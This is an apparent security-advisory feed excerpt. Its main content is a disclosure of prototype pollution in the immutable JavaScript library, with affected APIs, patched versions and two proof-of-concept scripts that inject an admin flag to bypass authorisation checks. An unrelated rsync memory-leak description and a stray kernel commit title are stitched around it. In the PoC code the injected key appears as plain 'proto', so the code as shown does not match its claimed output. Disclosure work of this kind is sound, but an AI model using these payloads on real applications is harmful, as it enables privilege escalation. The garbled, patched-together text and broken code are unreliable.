A flaw was found in rsync which could be triggered when rsync compares file checksums. This flaw allows an attacker to manipulate the checksum length (s2length) to cause a comparison between a checksum and uninitialized memory and leak one byte of uninitialized stack data at a time.

Impact What kind of vulnerability is it? Who is impacted?

A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.

Affected APIs

| API | Notes | | --------------------------------------- | ----------------------------------------------------------- | | mergeDeep(target, source) | Iterates source keys via ObjectSeq, assigns merged[key] | | mergeDeepWith(merger, target, source) | Same code path | | merge(target, source) | Shallow variant, same assignment logic | | Map.toJS() | object[k] = v in toObject() with no proto guard | | Map.toObject() | Same toObject() implementation | | Map.mergeDeep(source) | When source is converted to plain object |

Patches Has the problem been patched? What versions should users upgrade to?

| major version | patched version | | --- | --- | | 3.x | 3.8.3 | | 4.x | 4.3.7 | | 5.x | 5.1.5 |

Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading?

- Validate user input - Node.js flag --disable-proto - Lock down built-in objects - Avoid lookups on the prototype - Create JavaScript objects with null prototype

Proof of Concept

PoC 1 — mergeDeep privilege escalation

javascript "use strict"; const { mergeDeep } = require("immutable"); // v5.1.4

// Simulates: app merges HTTP request body (JSON) into user profile const userProfile = { id: 1, name: "Alice", role: "user" }; const requestBody = JSON.parse( '{"name":"Eve","proto":{"role":"admin","admin":true}}', );

const merged = mergeDeep(userProfile, requestBody);

console.log("merged.name:", merged.name); // Eve (updated correctly) console.log("merged.role:", merged.role); // user (own property wins) console.log("merged.admin:", merged.admin); // true ← INJECTED via proto!

// Common security checks — both bypassed: const isAdminByFlag = (u) => u.admin === true; const isAdminByRole = (u) => u.role === "admin"; console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED! console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)

// Stealthy: Object.keys() hides 'admin' console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role'] // But property lookup reveals it: console.log("merged.admin:", merged.admin); // true

PoC 2 — All affected APIs

javascript "use strict"; const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");

const payload = JSON.parse('{"proto":{"admin":true,"role":"superadmin"}}');

// 1. mergeDeep const r1 = mergeDeep({ user: "alice" }, payload); console.log("mergeDeep admin:", r1.admin); // true

// 2. mergeDeepWith const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload); console.log("mergeDeepWith admin:", r2.admin); // true

// 3. merge const r3 = merge({ user: "alice" }, payload); console.log("merge admin:", r3.admin); // true

// 4. Map.toJS() with proto key const m = Map({ user: "alice" }).set("proto", { admin: true }); const r4 = m.toJS(); console.log("toJS admin:", r4.admin); // true

// 5. Map.toObject() with proto key const m2 = Map({ user: "alice" }).set("proto", { admin: true }); const r5 = m2.toObject(); console.log("toObject admin:", r5.admin); // true

// 6. Nested path const nested = JSON.parse('{"profile":{"proto":{"admin":true}}}'); const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested); console.log("nested admin:", r6.profile.admin); // true

// 7. Confirm NOT global console.log("({}).admin:", {}.admin); // undefined (global safe)

Verified output against immutable@5.1.4:

mergeDeep admin: true mergeDeepWith admin: true merge admin: true toJS admin: true toObject admin: true nested admin: true ({}).admin: undefined ← global Object.prototype NOT polluted

References Are there any links users can visit to find out more?

- JavaScript prototype pollution

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crypto: algifaead - Revert to operating out-of-place

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